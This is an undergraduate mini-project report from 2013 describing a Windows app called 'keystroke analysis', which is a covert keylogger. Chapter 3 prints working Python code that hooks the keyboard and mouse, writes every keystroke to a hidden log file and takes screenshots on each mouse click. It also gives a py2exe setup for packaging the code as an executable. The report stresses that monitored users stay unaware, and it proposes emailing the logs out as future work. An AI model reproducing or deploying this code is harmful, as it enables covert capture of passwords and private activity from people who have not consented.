You are on page 1of 16

A WINDOWS PC APP ON KEYSTROKE ANALYSIS

A MINI PROJECT REPORT SUBMITTED IN PARTIAL FULFILMENT OF THE


REQUIREMENTS FOR (3/4)

BACHELOR OF ENGINEERING

IN

INFORMATION TECHNOLOGY

BY
Mr. Srikanth Mamidi (1602-12-737-110)
Mr. D.Saikiran (1602-11-737-098)

UNDER THE GUIDANCE OF

Mrs. Divya
Mrs.DRL Prasanna
Mr. Satyaveer
Mr. Purshotham

Department of Information Technology


VASAVICOLLEGE OF ENGINEERING
IBRAHIMBAGH, HYDERABAD 500 031.
2013
Department of Information Technology
VASAVI COLLEGE OF ENGINEERING
IBRAHIMBAGH, HYDERABD 500 031

CERTIFICATE

This is to certify that the Mini Project Work on A WINDOWS PC on KEYSTROKE


ANALYSIS carried out by Srikanth Mamidi(1602-12-737-110) and D Sai Kiran(1602-11-737-
098) in partial fulfillment of the requirement for the award of Bachelor of Engineering (B.E) in
Information Technology by Osmania University during the period 2014-2015 under our
guidance.

The results embodied in this project have not been submitted to any other University of
Institution for the award of any degree or diploma.

Guides: Examiner:

1.L.Divya Mrs.DRL Prasanna


2.Satyaveer
ACKNOWLEDGEMENT

This project would be incomplete without acknowledging the help provided by the
faculty members of the Department of Information Technology, Vasavi College of Engineering.
We would like to express our gratitude and sincere thanks to Our beloved Principal Ramana
Murthy, Prof.N.Vasantha, Head of the Department for giving us the opportunity of working on
the present project.

We are thankful to all those who have helped us and guided us in making this project.
We are also thankful to the staff of the Department Computer Centre without whose help and
Suggestions, none of this wouldve been possible.
TABLE OF CONTENTS:

ABSTRACT

LITERATURE SURVEY

Chapter 1 : Introduction

1.1 About the Project


1.2 Python programming Language
1.3 Py2Exe converter

Chapter 2 :System Analysis and Design

2.1 Use Case Diagram


2.2 Use Case Description
2.3 Class Diagram
2.4 Sequence Diagram
2.5 Hardware ,Languages and Software Requirements
2.6 Technology Used

Chapter 3 :Coding Snippets

3.1 Coding

Chapter 4 :Testing and Test Results

4.1 Screen Shots

Chapter 5 : Conclusion and Future Scope

5.1 Conclusion
5.2 Future Scope
ABSTRACT
Title: Keystroke analysis
Objective:

Here the project is developing a windows app for pc called key stroke analysis. Key logger is a
application used for for action of tracking the keys when ever user presses keyboard, keyword
strokes are captured in converted manner so users are unaware that their actions are monitored.

This software also contain that action of capturing the desktop if a person is using the mouse or
joystick instead of keyboard that can ultimately be stored in a hidden log file that log file is being
viewed by administrator only. It can be accessed by administrator only.
This technology can be used for finding out all the sites and files which are being accessed by
any person in the administrators absence.

The project can be used for proper identification and authentication. The typing dynamics can be
used for different user profiles. Thus this becomes a valid tool for ascertaining personal identity.

Software requirements:
python 2.7
py2exe
Hardware requirements:
Processor: 1 gigahertz (GHz)
RAM:1 gigabyte(GB)(64-bit)
Hard disk space:16 GB(64-bit)
Project members:
D .Sai Kiran (1602-12-737-098).
M. Srikanth (1602-12-737-110).
Literature Survey
Title: Keystroke analysis
Objective:
Here the project is developing a windows app for pc and the app called key stroke analysis. Key
logger is a application used for for action of tracking the keys when ever user presses keyboard,
keyword strokes are captured in converted manner so users are unaware that their actions are
monitored.
This software also contain that action of capturing the desktop if a person is using the mouse or
joystick instead of keyboard that can ultimately be stored in a hidden log file that log file is being
viewed by administrator only.It can be accessed by administrator only.
This technology can be used for finding out all the sites and files which are being accessed by
any person in the administrators absence.
The project can be used for proper identification and authentication. The typing dynamics can be
used for different user profiles. Thus this becomes a valid tool for ascertaining personal identity.
Existing system:
here the windows app which already exist captures just the key strokes. since the application is
hidden user is unaware that his actions are monitored
Proposed system:
So here in the mini project we want to develop the code for the windows app by using the
languages python here we would like to include certain extra features to the key logger such as
recording desktop activity taking the screen shorts at regular intervals , logs are encrypted. The
application is very easy to use so that customers feel happy while using this.
Project members:
D .Sai Kiran (1602-12-737-098).
M. Srikanth (1602-12-737-110).
References:
www.python.org
www.coursera.org
CHAPTER 1

INTRODUCTION
1.1 About the Project

Here the project is developing a windows app for pc and the app called key stroke analysis. Key
logger is a application used for for action of tracking the keys when ever user presses keyboard,
keyword strokes are captured in converted manner so users are unaware that their actions are
monitored.
This software also contain that action of capturing the desktop if a person is using the mouse or
joystick instead of keyboard that can ultimately be stored in a hidden log file that log file is being
viewed by administrator only. It can be accessed by administrator only.
This technology can be used for finding out all the sites and files which are being accessed by
any person in the administrators absence.
The project can be used for proper identification and authentication. The typing dynamics can be
used for different user profiles. Thus this becomes a valid tool for ascertaining personal identity
1.2 Python programming language

Python is a widely used general-purpose, high-level programming language. Its design philosophy
emphasizes code readability, and its syntax allows programmers to express concepts in fewer line
of code than would be possible in languages such as C++ or Java. The language provides
constructs intended to enable clear programs on both a small and large scale.

Python supports multiple programming paradigms, including object-


oriented, imperative and functional programming or procedural styles. It features a dynamic
type system and automatic memory management and has a large and comprehensive standard
library.

Python interpreters are available for installation on many operating systems, allowing Python code
execution on a majority of systems. Using third-party tools, such as Py2exe or Pyinstaller, Python
code can be packaged into stand-alone executable programs for some of the most popular operating
systems, allowing for the distribution of Python-based software for use on those environments
without requiring the installation of a Python interpreter.

FEATURES:-
1. Simple
2. Open source
3. High level Language
4. Interpreted
5. Extensive Libraries

Py2exe Converter:

CHAPTER 2
SYSTEM ANALYSIS AND DESIGN
2.1 Use Case Diagram:
2.4 Sequence Diagram:
2.5 Hardware ,Languages and Software Requirements:

Hardware Requirements:
Processor: 2.4 gigahertz (GHz)

RAM: 6 gigabyte (GB) (64-bit)

Hard disk space: 16 GB (64-bit)

Languages required:

PYTHON

Software Requirements:

Python 2.7
PY2EXE Converter

2.6 Technology Used

This Project is done using Py2exe converter. Py2exe is used to convert the python code into an
executable file by using setup file. the coding part of the project is done using python
programming language. Python idle is used to run the python code and convert it into exe using
py2exe converter.
CHAPTER 3

CODING SNIPPETS
3.1Coding:
Keylogger.py

import ImageGrab
import pythoncom, pyHook, sys
import time, threading

print "keylogger"
def OnKeyboardEvent(event):
file = open('D:\MP\logs\engu.txt', 'a')
msg = str(chr(event.Ascii))
file.write(msg)
return True
def shot():
im=ImageGrab.grab()
name = time.ctime().replace(':', '-')
im.save(name+'.jpg')
print 'taken'
time.sleep(10)

def OnMouseEvent(event):
shot_thr = threading.Thread(target=shot, args=())
shot_thr.daemon = True
shot_thr.start()
print 'done'
return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.MouseAllButtonsDown = OnMouseEvent
hm.HookMouse()
hm.HookKeyboard()
pythoncom.PumpMessages()

Setup.py:

from distutils.core import setup


import py2exe

setup(console=['Keylogger.py'])

CHAPTER 4

TESTING AND TEST RESULTS


4.1 Screen Shots:
While taking screen shots:

Screen shots taken by the keylogger on Mouse click:


LOGFILE Where logs are stored:
CHAPTER 5

CONCLUSION AND FUTURE SCOPE


5.1 Conclusion :

A Windows Pc App on Keystroke analysis has been implemented successfully,


Which saves the keystrokes in a log file and saves screenshots at regular intervals and whenever
mouse is pressed

5.2 Future Scope :

The app can be further extended to add certain extra features like mailing the logs that
are stored in the log file.

You might also like